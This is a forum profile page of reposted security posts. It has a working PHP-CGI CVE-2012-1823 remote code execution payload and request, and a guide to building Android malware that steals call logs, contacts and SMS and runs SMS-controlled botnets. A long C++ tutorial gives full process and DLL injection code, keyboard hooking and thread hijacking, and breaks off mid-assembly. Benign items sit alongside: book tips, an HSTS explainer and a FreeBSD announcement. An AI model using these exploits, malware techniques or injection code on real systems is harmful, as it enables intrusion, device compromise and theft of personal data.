-
Posts
18715 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
WiFi Password Decryptor [TABLE] [TR] [TD][TABLE=width: 100%] [TR] [TD=align: justify]WiFi Password Decryptor is the FREE software to instantly recover Wireless account passwords stored on your system. [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: justify] It automatically recovers all type of Wireless Keys/Passwords (WEP/WPA/WPA2 etc) stored by Windows Wireless Configuration Manager. For each recovered WiFi account, it displays following information [/TD] [/TR] [TR] [TD] WiFi Name (SSID) Security Settings (WEP-64/WEP-128/WPA2/AES/TKIP) Password Type Password in clear text [/TD] [/TR] [TR] [TD=align: justify]After the successful recovery you can save the password list to HTML/XML/TEXT file. You can also right click on any of the displayed account and quickly copy the password. Under the hood, 'WiFi Password Decryptor' uses System Service method (instead of injecting into LSASS.exe) to decrypt the WiFi passwords. This makes it more safer and reliable. Also it makes us to have just single EXE to work on both 32-bit & 64-bit platforms. New version 1.5 supports command-line version making it useful for automation & penetration testers. It has been successfully tested on Windows Vista and higher operating systems including Windows 8. [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader] Features & Benefits [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Instantly decrypt and recover stored WiFi account passwords Recovers all type of Wireless Keys/Passwords (WEP/WPA/WPA2 etc) Command-line version for automation & penetration testers. Simple & elegant GUI interface makes it easy to use. Right click context menu to quickly copy the Password Sort feature to arrange the displayed passwords Save the recovered WiFi password list to HTML/XML/TEXT file. Integrated Installer for assisting you in local Installation & Uninstallation. [/TD] [/TR] [/TABLE] Details: http://securityxploded.com/wifi-password-decryptor.php Download: http://securityxploded.com/download.php#wifipassworddecryptor
-
[h=1]Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823[/h]by infodox The CVE-2012-1823 PHP-CGI exploit was, quite possibly, one of the most groundbreaking exploits of 2012. In a year that brought us MS-12-020 (the most hyped bug in my recollection), multiple Java 0day exploits, and several MySQL exploits, the PHP-CGI bug still stands out as one of the most hilariously brilliant bugs to show up for several reasons. Primarily the massive misunderstanding of how it worked. For this exploit to work, PHP had to be running in CGI mode. A fairly obscure configuration not seen all too often in the wild. Essentially, with this vulnerability, you could inject arguements into the PHP-CGI binary and make changes to php.ini directives, allowing for remote code execution. Developing an exploit for this bug is trivial. In order to gain remote code execution, you tell PHP.ini that it is to allow URL inclusion ( allow_url_include = 1 ), and to automatically prepend the “file” php://input. This means whatever we send in the POST request is parsed as PHP, and executed. One way to exploit this (targetting example.com), using the lwp-request’s “POST” utility, is as follows. echo “<?php system(‘id’);die(); ?>” | POST “http://example.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input” As you will see in the video, we can easily use this to execute commands remotely from a BASH shell. The HTTP request sent, looks something similar to this: POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: example.com User-Agent: lwp-request/6.03 libwww-perl/6.04 Content-Length: 29 Content-Type: application/x-www-form-urlencoded <?php system(‘id’);die(); ?> he response to that was the server sending back the result of our command (id), so we know it works. So now we have a somewhat reliable “commandline” RCE method, however, we like to automate things… Let’s see how hard it is to write a reliable exploit in Python. The following screenshot shows exploitation using Python. Exploiting PHP-CGI bug with Python So, we know now that using Python’s requests library (a mainstay of all my exploits, as I guess you noticed). Now that we have reliable exploitation using Python, I decided to go a step further and write an actual exploit in Python to automate the whole thing. It simply drops you into a shell of sorts, giving you the ability to run commands as the web-user. Exploit code available here: Google Code – Insecurety Research So, along comes the demo, as usual in video format. This time, with additional tunes by Blackmail House who gave me permission to use their music in demo videos the other day in the pub Remember, play nice out there. Sursa: Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823 | Insecurety Research
-
Hack Android With Android Exploitation Framework IMPORTANT NOTE: The below information is for educational and research purposes only and to illustrate how insecure the Android platform is. You would also come to see, how most of the present Android anti-malwares fail to detect threats in the current scenario. Also, infecting other persons computer/mobile devices with a malicious application without his permission is an punishable crime. Their exist a lot of tools to exploit the security holes in normal PC environment, but there have been really less tools for the Android environment, which at the same time is expandable. By expandable, i’m trying to say, that the users who use the framework, could build there own modules and share with the security community. Android Framework for Exploitation is an open-source project which we have developed in order to increase mobile security research, check for application based and platform based vulnerabilities, as well as write plugins for the framework and share it with the community. Subho Halder and me (Aditya Gupta) have developed a framework known as Android Framework for Exploitation, which we released in BlackHat Abu Dhabi in December 2012. The aim of this framework is to help the mobile security community to analyze applications, exploit vulnerabilities, build POCs, and share their own modules with other users. One of the interesting features of this framework is the ability to build malwares, botnets and even inject malwares in existing legitimate applications. This is just to show that how ineffective our current mobile anti malwares are against these type of infected version of legitimate applications, as at the time of writing, none of the anti malwares for Android detected the malware sample. Some of the features which we’ll be looking into this post is : 1. Creating a malware 2. Creating a botnet 3. Injecting malicious codes in a legitimate application 4. Analyzing vulnerable applications Before we go further, let us have a look at the file structure of AFE. Once you download AFE, you will be having a structure similar to the one given below. The Input will be containing all the input apk(s) for any processing, such as crypting the apk to make it undetectable from anti malwares, or inserting the apk in any other legitimate apk or so on. Creating a malware AFE gives the users to create malwares for their devices with prebuilt templates. You could also modify the source code of the malware, and modify the GUI of the application apk as you want. To create a malware, first of all you have to launch AFE by typing in ./afe. To get help at any point of time, just type in ? and hit enter. Note : This tool is made natively for *nix based systems. If you’re running Windows, you could use it by installing Cygwin. Also make sure you’ve all the dependencies such as Python and the android sdk installed. Once you are inside menu, type in run [the module name] to execute a particular module. In this case, the module is named malware. Once you type in run malware Just type in your local IP address in the Set Reverse IP option. Once you set your reverse IP (same as LHOST), you’ll have the option of Stealer. There are 3-predefined stealers, and you can add more yourself. The 3 already existing ones include – • Call Logs • Contacts • Messages Here’s a video of it. Creating a Botnet To create a botnet, you have to launch AFE as mentioned earlier. and go on to create a botnet, similar to as we did in the last demo. Once you’ve created and installed the botnet in any android based smartphone, you could control it by sending SMS from any phone to the infected phone, and getting the response back using SMS itself. Also, this whole process will go on in the background, so the user won’t be able to know if any kind of malicious activity is being performed. Some of the sms based commands are : toast: To display a particular message on the screen infect: To spread the botnet to any other device by sending a sms from already infected device browse : automatically open a URL on the victim’s phone shell : The most useful command. Could be used to execute any shell based commands. For example, xysec shell cat /proc/version Note: All the commands should be appended with the keyword ‘xysec’ - this could be changed by modifying the source of the botnet. This is to make sure the SMS which has been send as a command won’t be displayed in the notification of the victim. Analyzing Application for Leaking Content Providers One of the most important components of Android applications while working with application data is Content Providers. To get the content providers of the application, you could either reverse the application manually, or look for the content providers, or you could use tool such as Apktool, and parse information based on the filter of content:// To find content providers with the help of AFE, you need to place the application you want to analyse in the Input folder. Once we select the application, it will automatically present us with the list of content providers present in the application. After finding out the permission of the content providers, and if it is set as exported without any permission checking, the application is vulnerable to leaking content providers vulnerability. To make a POC of this vulnerability, we could use the content provider (vulnerable one) and make another application parsing this content provider. Following is a sample code snippet we made: We are accessing the Vulnerable application’s data using its content provider. Uri.parse("> We would in further update the Github repo located at https://github.com/xysec/AFE/ to make POCs automatically. Injecting malicious codes in legitimate application Using AFE, you could inject malicious codes in legitimate applications. This is to demonstrate how easy it is for malware authors to create infected version of the legitimate applications, and how anti-malwares should improve their detection strategy to distinguish between fake and legitimate applications. To create the application: Select the malware to be injected, Choose the target apk Type inject Once we select our target application, it will inject all the services and permissions from our malware (which we have already created) and even sign the newly create application with our key. The newly created file will be stored in /Output as the name of [originalapp].apk and [originalapp]_signed.apk. Creating Plugins for AFE AFE is an extendable framework, which could be integrated with user made plugins. To create a plugin, you need to go to the modules directory and create a directory with the name of your plugin name. Let us take an example of a plugin named as DB Stealer. This plugin, grabs all the database files (.db) from the device or emulator, and saves it on the system. The code for this plugin has been written in PHP. There are 3 necessary files : Run.sh dbstealer.php dbstealer.info Run.sh is the initializing code, which will load up the entire code (written in any language, in this case php), and will execute it. The second file, dbstealer.php is the main code of the plugin. It is loaded from run.sh with the code php dbstealer.php. The third file dbstealer.info will contain the information about the plugin, which will be displayed when the user will type in info dbstealer from the afe prompt. Hope you guys enjoyed the post. Feel free to mail us at security@xysec.com for any bug issues/suggestions/trainings/ideas! Sursa: Hack Android With Android Exploitation Framework | Learn How To Hack - Ethical Hacking and security tips
-
Pot sa va recomand ceva? Se numesc "car?i". Java de la 0 la expert (Necartonat) - Stefan Tanasa, Cristian Olaru, Stefan Andrei POL978-973-46-2405-8 - eMAG.ro Totul despre C si C++ manualul fundamental de programare in C si C++ - Kris Jamsa, Lars Klander TEO973-601-911-X - eMAG.ro C++ introducere in standard template library ALL973-571-798-8 - eMAG.ro Programare web in Bash si Perl - Sabin Buraga, Victor Tarhon-Onu, Stefan Tanasa POL973-683-931-1 - eMAG.ro Sql - Marin Fotache POL973-683-709-2 - eMAG.ro Tehnici De Web Design MCO973-000-000-19 - eMAG.ro Limbajul C# pentru incepatori - Notiuni de baza - Liviu Negrescu, Lavinia Negrescu ALB973-650-153-1 - eMAG.ro Secrete C++ - Constantin Galatan ALB973-650-186-8 - eMAG.ro Si sunt foarte multe, foarte detaliate, va garantez ca veti intelege. Este de preferat sa si aplicati pe masura ce cititi ceea ce gasiti prin ele.
-
[h=1]HTTP Strict Transport Security[/h] The lack of (or inconsistent use of) SSL puts users’ security and privacy at risk. Increasingly, popular sites require SSL not only for operations which are known to directly involve private data (login, etc) but for entire sessions. This is a good thing. Unfortunately, there are a number of techniques an attacker can use to work around this. The most well known of these is SSL-Stripping in which an active man-in-the-middle can intercept traffic between the browser and the server, downgrading what should be an HTTPS connection to an unencrypted HTTP connection. HSTS (HTTP Strict Transport Security) is designed to make attacks like this harder; it allows servers to specify that all subsequent connections must be made via HTTPS for a specified period of time. If a request is made over HTTP it will be automatically upgraded by the browser. Also, if the SSL certificate for an HSTS enabled site can’t be verified, the requested document won’t be loaded. There’s a gap in this protection though; if your initial connection to a site is intercepted, not only could your connection still be downgraded but the attacker could also stop the browser from seeing the HSTS header too. This can be resolved for popular sites that use HSTS by means of an in-browser preload list (coming soon in Firefox 17 – currently in Beta). You can read more about preloading HSTS in our earlier post on the subject. Firefox has supported HSTS since version 4; we think it’s about time your site did too. You can learn more about HSTS and how to implement it in this article on MDN. Sursa: HTTP Strict Transport Security | Mozilla Security Blog
-
FreeBSD 9.1-RELEASE Announcement The FreeBSD Release Engineering Team is pleased to announce the availability of FreeBSD 9.1-RELEASE. This is the second release from the stable/9 branch, which improves on the stability of FreeBSD 9.0 and introduces some new features. Some of the highlights: New Intel GPU driver with GEM/KMS support netmap(4) fast userspace packet I/O framework ZFS improvements from illumos project CAM Target Layer, a disk and processor device emulation subsystem Optional new C++11 stack including LLVM libc++ and libcxxrt Jail devfs, nullfs, zfs mounting and configuration file support POSIX2008 extended locale support, including compatibility with Darwin extensions oce(4) driver for Emulex OneConnect 10Gbit Ethernet card sfxge(4) driver for 10Gb Ethernet adapters based on Solarflare SFC9000 controller Xen Paravirtualized Backend Ethernet Driver (netback) improvement hpt27xx(4) driver for HighPoint RocketRAID 27xx-based SAS 6Gb/s HBA GEOM multipath class improvement GEOM raid class is enabled by default supporting software RAID by deprecated ataraid(8) kernel support for the AVX FPU extension Numerous improvements in IPv6 hardware offload support Please note that precompiled third-party packages are not available for 9.1-RELEASE at the time of release. See the Availability section below for further details. For a complete list of new features and known problems, please see the online release notes and errata list available at: FreeBSD 9.1-RELEASE Release Notes FreeBSD 9.1-RELEASE Errata For more information about FreeBSD release engineering activities please see: Release Engineering Information Sursa: FreeBSD 9.1-RELEASE Announcement
-
[h=1]Code Injections [beginner and advanced][/h]Author: [h=3]RosDevil[/h] This tutorial is for every level, from beginners to advanced (so to review some aspects or istructions) I will use as much as i can C++ in this tutorial. We're going through all kinds of injection. Before any type of injection we need to get the right privileges, SE_DEBUG_NAME, this is the function to get it: int privileges(){ HANDLE Token; TOKEN_PRIVILEGES tp; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&Token)) { LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(Token, 0, &tp, sizeof(tp), NULL, NULL)==0){ return 1; //FAIL }else{ return 0; //SUCCESS } } return 1; } after we need the PID of the target application, it can be got so: DWORD getPid(string procName){ HANDLE hsnap; PROCESSENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pt.dwSize = sizeof(PROCESSENTRY32); do{ if(!strcmp(pt.szExeFile, procName.c_str())){ DWORD pid = pt.th32ProcessID; CloseHandle(hsnap); return pid; } } while(Process32Next(hsnap, &pt)); CloseHandle(hsnap); return 0; } now let's get started with injections: 1) Codecave Injection with CreateRemoteThread() This method has been treated a lot on internet so i won't go through the code step by step, if you want to see the documented functions go to msdn. steps: - Open the target Process through the PID (Api used: OpenProcess()) - Allocate space in the remote process for our function and parameters (Api used: VirtualAllocEx()) - Write our function and parameters in the remote process (Api used: WriteProcessMemory()) - Execute the remote code and optionally free the remote memory (Api used: CreateRemoteThread() and VirtualFree()) #include <windows.h> #include <iostream> #include <fstream> #include <stdlib.h> #include "ntdef.h" #include <tlhelp32.h> typedef int (WINAPI* MsgBoxParam)(HWND, LPCSTR, LPCSTR, UINT); using namespace std; struct PARAMETERS{ DWORD MessageBoxInj; char text[50]; char caption[25]; int buttons; // HWND handle; }; DWORD getPid(string procName); int privileges(); DWORD myFunc(PARAMETERS * myparam); DWORD Useless(); int main() { privileges(); DWORD pid = getPid("notepad.exe"); if (pid==0) return 1; //error HANDLE p; p = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if (p==NULL) return 1; //error char * mytext = "Hello by CodeCave!"; char * mycaption = "Injection result"; PARAMETERS data; //let's fill in a PARAMETERS struct HMODULE user32 = LoadLibrary("User32.dll"); data.MessageBoxInj = (DWORD)GetProcAddress(user32, "MessageBoxA"); strcpy(data.text, mytext); strcpy(data.caption, mycaption); data.buttons = MB_OKCANCEL | MB_ICONQUESTION; DWORD size_myFunc = (PBYTE)Useless - (PBYTE)myFunc; //this gets myFunc's size //--------now we are ready to inject LPVOID MyFuncAddress = VirtualAllocEx(p, NULL, size_myFunc, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(p, MyFuncAddress, (void*)myFunc,size_myFunc, NULL); LPVOID DataAddress = VirtualAllocEx(p,NULL,sizeof(PARAMETERS),MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE); WriteProcessMemory(p, DataAddress, &data, sizeof(PARAMETERS), NULL); HANDLE thread = CreateRemoteThread(p, NULL, 0, (LPTHREAD_START_ROUTINE)MyFuncAddress, DataAddress, 0, NULL); if (thread!=0){ //injection completed, not we can wait it to end and free the memory WaitForSingleObject(thread, INFINITE); //this waits untill thread thread has finished VirtualFree(MyFuncAddress, 0, MEM_RELEASE); //free myFunc memory VirtualFree(DataAddress, 0, MEM_RELEASE); //free data memory CloseHandle(thread); CloseHandle(p); //don't wait for the thread to finish, just close the handle to the process cout<<"Injection completed!"<<endl; }else{ cout<<"Error!"<<endl; } system("PAUSE"); return EXIT_SUCCESS; } DWORD getPid(string procName){ HANDLE hsnap; PROCESSENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pt.dwSize = sizeof(PROCESSENTRY32); do{ if(pt.szExeFile == procName){ DWORD pid = pt.th32ProcessID; CloseHandle(hsnap); return pid; } } while(Process32Next(hsnap, &pt)); CloseHandle(hsnap); return 0; } DWORD myFunc(PARAMETERS * myparam){ MsgBoxParam MsgBox = (MsgBoxParam)myparam->MessageBoxInj; int result = MsgBox(0, myparam->text, myparam->caption, myparam->buttons); switch(result){ case IDOK: //your code break; case IDCANCEL: //your code break; } return 0; } DWORD Useless(){ return 0; } //this function is needed to get some extra privileges so your code will be able to work without conflicts with the system int privileges(){ HANDLE Token; TOKEN_PRIVILEGES tp; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&Token)) { LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(Token, 0, &tp, sizeof(tp), NULL, NULL)==0){ return 1; //FAIL }else{ return 0; //SUCCESS } } return 1; } This code shows that we cannot pass more than 1 parameter to CreateRemoteThread so we need to create a struct (PARAMETERS) and pass it to the remote function I did a tutorial in past for this, check out: http://www.rohitab.c...ion-tutorial-c/ NOTE FOR VISTA/WIN7 CreateRemoteThread() for windows Vista and Windows 7 isn't working because of boundaries, the solution is the undocumented function NtCreateThreadEx(), we can get it from ntdll.dll, and replace CreateRemoteThread() with it in the above code (and remember to adjust the parameters) HANDLE NtCreateThreadEx(HANDLE process, LPTHREAD_START_ROUTINE Start, LPVOID lpParameter); typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN DWORD StackZeroBits, IN DWORD SizeOfStackCommit, IN DWORD SizeOfStackReserve, OUT LPVOID lpBytesBuffer ); struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; HANDLE NtCreateThreadEx(HANDLE process, LPTHREAD_START_ROUTINE Start, LPVOID lpParameter){ HMODULE modNtDll = LoadLibrary("ntdll.dll"); if(!modNtDll){ cout<<"Error loading ntdll.dll"<<endl; return 0; } LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, "NtCreateThreadEx"); if(!funNtCreateThreadEx){ cout<<"Error loading NtCreateThreadEx()"<<endl; return 0; } NtCreateThreadExBuffer ntbuffer; memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer)); DWORD temp1 = 0; DWORD temp2 = 0; ntbuffer.Size = sizeof(NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown3 = &temp2; ntbuffer.Unknown4 = 0; ntbuffer.Unknown5 = 0x10004; ntbuffer.Unknown6 = 4; ntbuffer.Unknown7 = &temp1; // ntbuffer.Unknown8 = 0; HANDLE hThread; NTSTATUS status = funNtCreateThreadEx( &hThread, 0x1FFFFF, NULL, process, (LPTHREAD_START_ROUTINE) Start, lpParameter, FALSE, //start instantly 0, //null 0, //null 0, //null &ntbuffer ); return hThread; } //so to use in the above code like this: HANDLE thread = NtCreateThreadEx(p, (LPTHREAD_START_ROUTINE)MyFuncAddress, DataAddress); // // DLL INJECTION Performing Dll injection is much more easier, we don't have to create a struct of parameters beacause LoadLibraryA has only 1 parameter #include <windows.h> #include <iostream> #include <fstream> #include <stdlib.h> #include "ntdef.h" #include <tlhelp32.h> //For Vista/Win7: HANDLE NtCreateThreadEx(HANDLE process, LPTHREAD_START_ROUTINE Start, LPVOID lpParameter); using namespace std; DWORD getPid(string procName); int privileges(); int main() { privileges(); //don't mind of the result, because maybe it fails because you already have that privilege DWORD pid = getPid("notepad.exe"); if (pid==0) return 1; //error HANDLE p; p = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if (p==NULL) return 1; //error char * dll = "C:\\mydll.dll" //--------now we are ready to inject unsigned long LoadLib = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); LPVOID DataAddress = VirtualAllocEx(p, NULL, strlen(dll) + 1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(p, DataAddress, dll, strlen(dll), NULL); HANDLE thread = CreateRemoteThread(p, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLib, DataAddress, 0, NULL); //For Vista/Win7 //HANDLE thread = NtCreateThreadEx(p, (LPTHREAD_START_ROUTINE)LoadLib, DataAddress); if (thread!=0){ //injection completed WaitForSingleObject(thread, INFINITE); //this waits untill thread thread has finished VirtualFree(MyFuncAddress, 0, MEM_RELEASE); //free myFunc memory VirtualFree(DataAddress, 0, MEM_RELEASE); //free data memory CloseHandle(thread); CloseHandle(p); //don't wait for the thread to finish, just close the handle to the process cout<<"Injection completed!"<<endl; }else{ cout<<"Error!"<<endl; } system("PAUSE"); return EXIT_SUCCESS; } DWORD getPid(string procName){ HANDLE hsnap; PROCESSENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pt.dwSize = sizeof(PROCESSENTRY32); do{ if(pt.szExeFile == procName){ DWORD pid = pt.th32ProcessID; CloseHandle(hsnap); return pid; } } while(Process32Next(hsnap, &pt)); CloseHandle(hsnap); return 0; } int privileges(){ HANDLE Token; TOKEN_PRIVILEGES tp; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&Token)) { LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(Token, 0, &tp, sizeof(tp), NULL, NULL)==0){ return 1; //FAIL }else{ return 0; //SUCCESS } } return 1; } //for VISTA/WIN7 typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN DWORD StackZeroBits, IN DWORD SizeOfStackCommit, IN DWORD SizeOfStackReserve, OUT LPVOID lpBytesBuffer ); struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; HANDLE NtCreateThreadEx(HANDLE process, LPTHREAD_START_ROUTINE Start, LPVOID lpParameter){ HMODULE modNtDll = LoadLibrary("ntdll.dll"); if(!modNtDll){ cout<<"Error loading ntdll.dll"<<endl; return 0; } LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, "NtCreateThreadEx"); if(!funNtCreateThreadEx){ cout<<"Error loading NtCreateThreadEx()"<<endl; return 0; } NtCreateThreadExBuffer ntbuffer; memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer)); DWORD temp1 = 0; DWORD temp2 = 0; ntbuffer.Size = sizeof(NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown3 = &temp2; ntbuffer.Unknown4 = 0; ntbuffer.Unknown5 = 0x10004; ntbuffer.Unknown6 = 4; ntbuffer.Unknown7 = &temp1; // ntbuffer.Unknown8 = 0; HANDLE hThread; NTSTATUS status = funNtCreateThreadEx( &hThread, 0x1FFFFF, NULL, process, (LPTHREAD_START_ROUTINE) Start, lpParameter, FALSE, //start instantly 0, //null 0, //null 0, //null &ntbuffer ); return hThread; } so if we want to check which OS are we running so to use CreateRemoteThread and NtCreateThreadEx: int CheckOSVersion() { /* * Windows XP = 1 (NT 5.0) * Windows Vista = 2 (NT 6.0) * Windows 7 = 3 (NT 6.1) * Windows 8 = 4 (NT 6.2) --> on Windows 8 CreateRemoteThread works perfectly!! */ OSVERSIONINFO osver; osver.dwOSVersionInfoSize = sizeof(osver); if (GetVersionEx(&osver)) { if (!(osver.dwPlatformId == VER_PLATFORM_WIN32_NT)) return 0; if (osver.dwMajorVersion == 5) return 1; if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0) return 2; if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 1) return 3; if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 2) return 4; } else return 0; } //use: char type[50]; int os = CheckOSVersion(); if (os == 0) return 0; if (os==1) strcpy(type, "Windows XP"); if (os==2) strcpy(type, "Windows Vista"); if (os==3) strcpy(type, "Windows 7"); if (os==4) strcpy(type, "Windows 8"); if you want to check if you are on a 64bit or 32bit OS by code: //the size of void* is the answer if (sizeof(void*) == 4) //is 32bit if (sizeof(void*) == 8) //is 64bit Other way I found many people talking about RtlCreateUserThread(), well it can be implemented easily (it is in ntdll.dll), but has a flaw, if you inject a dll with this function you cannot use CreateThread() inside it but you need to implement RtlCreateUserThread() in the dll too; i don't know why but it is. The implementation is: typedef struct ID{ PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef long (*myRtlCreateUserThread) (HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN, ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID); myRtlCreateUserThread RtlCreateUserThread; RtlCreateUserThread=(myRtlCreateUserThread)GetProcAddress(GetModuleHandle("ntdll.dll"),"RtlCreateUserThread"); IMPORTANT: 32-BIT / 64-BIT This is a portability-injection table: - 32bit program inject 32bit dll in a 32bit target - 32bit program inject 64bit dll in a 64bit target - 64bit program inject 32bit dll in a 32bit target - 64bit program inject 64bit dll in a 64bit target the first type and the fourth type are easy to code, but if you dare getting in troubles with the second and the third take a look at this paper: http://www.corsix.or...ction-and-wow64 2) Code injection with SetWindowsHookEx Setting hooks is a tipical action of keyloggers over WH_KEYBOARD hook type. This method makes them perfect in capturing key strokes BUT if we inject a dll using hooks the program that set the hook must keep running otherwise the dll is suddenly unloaded. To perform this type of injection we don't need directly the PID of the process but the Thread ID of it. We obtain the Thread ID from the PID: DWORD GetThreadID(DWORD pid){ HANDLE hsnap; THREADENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); pt.dwSize = sizeof(THREADENTRY32); while (Thread32Next(hsnap, &pt)){ if(pt.th32OwnerProcessID == pid){ DWORD Thpid = pt.th32ThreadID; CloseHandle(hsnap); return Thpid; } }; CloseHandle(hsnap); return 0; } Now let's jot down some code about SetWindowsHookEx() #include <cstdlib> #include <iostream> #include "windows.h" #include "tlhelp32.h" using namespace std; DWORD getPid(string procName); DWORD GetThreadID(DWORD pid); int main(int argc, char *argv[]) { HHOOK hproc; HOOKPROC cbt; HMODULE dll = LoadLibrary("DllHook.dll"); //the dll tha we will inject that contains the hook procedure cbt = (HOOKPROC)GetProcAddress(dll, "MyProcedure"); //get the address of our Procedure DWORD id = GetThreadID(getPid("notepad.exe")); //in this example we want to set the hook in a specific target if (id == 0) return 0; //if id == 0 means that the process isn't running hproc = SetWindowsHookEx(WH_KEYBOARD, cbt, dll, id); //if we wanted to set the hook in every process we could replace 'id' with 0 cin.get(); UnhookWindowsHookEx(hproc); //When we want to remove the hook return EXIT_SUCCESS; } DWORD GetThreadID(DWORD pid){ HANDLE hsnap; THREADENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); pt.dwSize = sizeof(THREADENTRY32); while (Thread32Next(hsnap, &pt)){ if(pt.th32OwnerProcessID == pid){ DWORD Thpid = pt.th32ThreadID; CloseHandle(hsnap); return Thpid; } }; CloseHandle(hsnap); return 0; } DWORD getPid(string procName){ HANDLE hsnap; PROCESSENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pt.dwSize = sizeof(PROCESSENTRY32); do{ if(!strcmp(pt.szExeFile, procName.c_str())){ DWORD pid = pt.th32ProcessID; CloseHandle(hsnap); return pid; } } while(Process32Next(hsnap, &pt)); CloseHandle(hsnap); return 0; } Now the our Dll that contains the hook procedure (in this case is named DllHook.dll) #include <windows.h> #include <stdio.h> #include <stdlib.h> __declspec(dllexport) LRESULT WINAPI MyProcedure(int code, WPARAM wp, LPARAM lp); __declspec(dllexport) LRESULT WINAPI MyProcedure(int code, WPARAM wp, LPARAM lp){ //here goes our code return CallNextHookEx(NULL, code, wp, lp); //this is needed to let other applications set other hooks on this target } BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) { switch (reason) { case DLL_PROCESS_ATTACH: break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } /* Returns TRUE on success, FALSE on failure */ return TRUE; } 3) Code Injection modifying the Main Thread This part is a bit more complicated, but works on any version of WINDOWS and doesn't need to keep the injector running steps: - Open the target Process through the PID (Api used: OpenProcess()) - Allocate space in the remote process for our function and parameters (Api used: VirtualAllocEx()) - Get the target process's thread ID - Open the remote thread and suspend it (Api used: OpenThread() and SupendThread()) - Get the remote thread context (Api used: GetThreadContext()) - Saving the current Eip and setting it to the address of our injected function - Write our function and parameters in the remote process (Api used: WriteProcessMemory()) - PATCH IN RUNTIME the injected function with the addresses of our parameters (Api used: WriteProcessMemory()) - Set the new remote thread context (Api used: SetThreadContext()) - Resume the remote thread and optionally free the memory (Api used: ResumeThread()) Before seeing the code i want to explain what our function will be. It is an assembly code (or shellcode) that performs our operation, but while coding we can't know the addresses of our parameters so we put placeholders, in other words, we put a label that will be replaced during execution with the right addresses. the assembly function is: push 0xACEACEAC ;-> placeholder for the address of our old EIP pushfd ;->save all flags registers pushad ;-> save all registers push 0xACEACEAC ;->placeholder for the address of the string 'User32.dll' mov ecx, 0xACEACEAC ;->placeholder for the address of LoadLibraryA call ecx ;-> traslated in c++: 